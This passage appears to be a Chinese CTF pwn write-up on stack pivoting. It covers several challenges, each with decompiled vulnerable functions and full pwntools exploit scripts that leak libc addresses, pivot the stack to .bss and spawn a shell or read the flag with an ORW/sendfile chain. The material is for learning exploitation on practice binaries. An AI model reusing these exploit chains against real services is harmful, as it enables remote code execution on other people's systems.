sd(payload)
ru(b'Good luck.\n')

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8) # leave_ret

sleep(0.5)
io.send(payload)

io.interactive()
1
这里只有一个read函数,所以我们迁到栈上几乎是不可能的了,所以我们就想到迁到bss的段上

这里把payload怎么构造和解题思路详细写一下。

解题思路

1
先将栈迁到bss的段上,返回地址覆盖为read函数,再次读入时泄露puts的地址,返回地址依然为read,再次读入getshell。

详细解释一下这个payload

1
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e)

read_addr = 0x40119e,rbp –>p64(bss + offset),返回地址覆盖为read_addr(raed_addr后面有leave_ret)所以完成了,将栈迁移到bss + offset的位置进行读入。

1
2
3
4
5
6
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)

0x401146, elf.got[‘puts’], elf.plt[‘puts’]写了puts的地址的payload。

0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage;利用pop_rbp再次利用read。

cyclic(0x50)–>0x401146, elf.got[‘puts’], elf.plt[‘puts’]和0x40112d, bss + offset + 0x200, 0x40119e加在一起是0x30+0x50=0x80。

bss - 0x8, leave_ret ;将栈迁移到 bss - 0x8的位置。pop_rbp是怎么利用的呢,首先read读入这串payload后先执行 0x401146,

elf.got[‘puts’], elf.plt[‘puts’]泄露puts的地址,然后pop_rbp。rbp就储存了bss+offset + 0x200的位置,接着执行0x40119e,从bss + offset +

0x200的位置开始read。

1
2
3
4
5
6
7
payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b’\x00’)是构造system(/bin/sh)

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)完成栈迁移。

[Black Watch 入群题]PWN1

这题不难记录一下题目和exp就可以了

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u); //s在bss段上
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

# 连接到远程服务
p = remote('node5.buuoj.cn', 27611)

# 设置环境参数(架构、操作系统、日志等级)
context(arch='i386', os='linux', log_level='debug')

# 加载本地 ELF 文件
e = ELF('./spwn')

# 获取程序中的符号地址
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
main_addr = 0x08048513 # main 函数地址

# 第一次发送 payload:泄露 write 的真实地址
payload1 = b'aaaa' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil('What is your name?')
p.send(payload1)

# 接收输入提示
p.recvuntil('What do you want to say?')

# 构造栈溢出 payload,覆盖返回地址,为下一次调用做准备
payload2 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511) # 0x0804A300 为 bss 段地址,0x08048511 为 level 函数返回地址
p.send(payload2)

# 接收 write 的地址并解析
write_addr = u32(p.recv(4))
log.success("Leaked write address: " + hex(write_addr))

# 使用 LibcSearcher 查找 libc 基址及 system 和 "/bin/sh" 地址
obj = LibcSearcher('write', write_addr)
libc_base = write_addr - obj.dump('write')
sys_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')

# 第二次交互:发送调用 system("/bin/sh") 的 payload
p.recvuntil('What is your name?')
payload3 = b'aaaa' + p32(sys_addr) + p32(0) + p32(bin_sh_addr)
p.send(payload3)

# 再次接收提示
p.recvuntil('What do you want to say?')

# 再次构造栈溢出 payload,确保程序流正确执行
payload4 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511)
p.send(payload4)

# 进入交互模式,获取 shell
p.interactive()

gyctf_2020_borrowstack

这题不难也记录一下题目和exp就可以了

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("锛積lcome to Stack bank,Tell me what you want");
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL); //bank在bss段
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# 连接到远程服务器
p = remote('node4.buuoj.cn', 25199)

# 设置环境参数
context(arch='amd64', os='linux', log_level='debug')

# 加载 libc 和 程序的 ELF 文件
libc = ELF('libc-2.23.so')
e = ELF('./a')

# 获取 plt 和 got 中 puts 的地址
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']

# 常量地址定义
pop_rdi_addr = 0x400703 # pop rdi; ret 指令的地址
level_ret_addr = 0x400699 # level 函数返回地址
bss_addr = 0x601080 # bss 段地址
ret_addr = 0x4004c9 # ret 指令地址
main_addr = 0x400626 # main 函数地址

# 第一个 payload:填充栈并跳转到 level_ret_addr
payload1 = 0x60 * b'a' + p64(bss_addr) + p64(level_ret_addr)
p.send(payload1)

# 第二个 payload:执行 ret 多次,然后调用 puts 泄露地址,并回到 main 函数
payload2 = p64(ret_addr) * 20 # 使用至少 20 个 ret 指令
payload2 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) # 调用 puts 泄露 puts 地址
payload2 += p64(main_addr) # 返回到 main 函数
p.sendafter(b'Done!You can check and use your borrow stack now!\n', payload2)

# 接收泄露的 puts 地址
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(puts_addr)}")

# 计算 libc 基地址和 shell 地址
libc_base = puts_addr - libc.symbols['puts']
shell = libc_base + 0x4526a system("/bin/sh") 地址
print(f"Shell address: {hex(shell)}")

# 第三个 payload:覆盖返回地址为 shell 地址
payload3 = 0x60 * b'a' + p64(0xdeadbeef) + p64(shell)
p.recvuntil(b'u want\n')
p.send(payload3)

# 接收提示后发送 '1'
p.recvuntil(b'Done!You can check and use your borrow stack now!\n')
p.send(b'1')

# 进入交互模式
p.interactive()

Basectf2024 stack in stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

sub_4011FE(a1, a2, a3);
memset(buf, 0, sizeof(buf));
puts("It looks like something fell off mick0960.");
printf("%p\n", buf);
if ( (int)read(0, buf, 0x40uLL) < 0 )
{
perror("An error occurred while reading!");
exit(1);
}
return 0LL;
}

这里主要利用了栈迁移,进行第一次泄露puts的地址,并且返回main。再次进行栈迁移,执行ROP链getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p = process('./pwn')
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
print(hex(buf_addr))
main_addr = 0x40124a
leave = 0x4012f2
sub_4011C6 = 0x4011dd #泄露puts的地址

payload = p64(0) + p64(sub_4011C6) + p64(0) + p64(main_addr)
payload += p64(0)*2
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym.puts
print(hex(libc_base))
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
#gdb.attach(p)
#pause()

system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2a3e5 #在libc.so.6找
ret = 0x40101a
#gdb.attach(p)
#pause()

payload = b'aaaa' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0)
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.interactive()
1
ROPgadget --binary libc.so.6 --only "pop|ret"  #查找pop_rdi的偏移

[SWPUCTF 2024 秋季新生赛]不可名状的东西

栈迁移+ORW

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

init(argc, argv, envp);
puts("Please enter your name!");
read(0, buf, 0x98uLL);
return 0;
}

0x98 - 0x80 -0x08 = 16太短栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 23555)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011C8, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*8+p64(leave_ret+1)+p64(leave_ret+1)+p64(leave_ret+1)+p64(0x4011C5)+p64(binsh_addr)+p64(system_addr)
payload =payload.ljust(0x80,b'a')
payload+=p64(bss + 0x200 - 0x8)+p64(leave_ret)

sleep(0.5)
io.send(payload)

io.interactive()

开始直接用system(/bin/sh)打失败了

1
2
3
4
5
6
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

execve被禁了

用ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload = (
# 1. 在内存中写入目标文件路径 "./flag\x00"(末尾补\x00对齐8字节)
b"./flag\x00\x00" # 字符串占6字节,补2个\x00凑8字节,存放在栈上

# 2. 调用open函数打开文件:open("./flag", O_RDONLY)
+ p64(0x4011C5) # pop rdi; ret(用于给rdi传参)
+ p64(bss + 0x200) # rdi = 字符串存放地址(./flag的地址)
+ p64(pop_rsi) # pop rsi; ret(用于给rsi传参)
+ p64(0) # rsi = 0(O_RDONLY,只读模式)
+ p64(open_addr) # 调用open函数,此时栈顶为open地址,执行后打开文件

# 3. 调用read函数读取文件内容:read(fd, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(3) # rdi = 3(假设open返回的文件描述符为3)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(存放读取内容的内存地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(读取的字节数)
+ p64(read_addr) # 调用read函数,读取文件内容到缓冲区

# 4. 调用write函数输出内容:write(stdout, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(1) # rdi = 1(stdout,标准输出)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(之前存放读取内容的地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(输出的字节数)
+ p64(write_addr) # 调用write函数,将读取到的flag输出到屏幕

20*8 = 160 >0x80所以不能,最终用open + sendflie成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 24512)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011BB, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")


pop_rdx_rbx = libc_base + 0x904a9
pop_rsi = libc_base + 0x2be51
pop_rcx = libc_base + 0x3d1ee

open_addr = libc_base + libc.sym['open']
sendfile = libc_base + libc.sym['sendfile']

payload3 = b"./flag\x00\x00" + p64(0x4011C5) + p64(bss + 0x200) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload3 += p64(0x4011C5) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_rbx) + p64(0)*2 + p64(pop_rcx) + p64(0x40) + p64(sendfile)
payload3 += p64(bss + 0x200)+ p64(leave_ret)


sleep(0.5)
io.send(payload3)

io.interactive()

[NSSRound#14 Basic]rbp

这题就是0x210可以用ORW,我一开始用sendflie可是没通。

1
2
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rcx ; ret"
0x0000000000118d4f : pop rcx ; ret 0xf66

感觉是不是0xf66导致pop rcx不能用,就直接用orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from ctypes import *
from struct import pack
banary = "./rbp"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("libc.so.6")
ip = 'node4.anna.nssctf.cn'
port = 28184
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
offset = 0x210
pop_rdi=0x0000000000401353
pop_rbp=0x00000000004011bd
read=0x0000000000401292
leave_ret=0x000000000040121d
ret=0x000000000040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss = 0x404060 + 0x700
pop_rsi_r15=0x0000000000401351

ru("try it")
payload=b'A'*0x210+p64(bss+0x210)+p64(read)
s(payload)

sleep(0.5)
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(bss + offset + 0x200)+p64(read)
payload=payload.ljust(0x210,b'\x00')+p64(bss-8)+p64(leave_ret)
s(payload)
libcbase=uu64()-libc.sym['puts']
lg("libcbase;"+hex(libcbase))
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rdx=libcbase+0x0000000000142c92

sleep(0.5)
flag_addr=bss + 0x200
payload=b'flag'.ljust(8,b'\x00')
payload+=p64(ret)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(write)
payload=payload.ljust(0x210,b'\x00')+p64(bss + 0x200)+p64(leave_ret)
s(payload)

ia()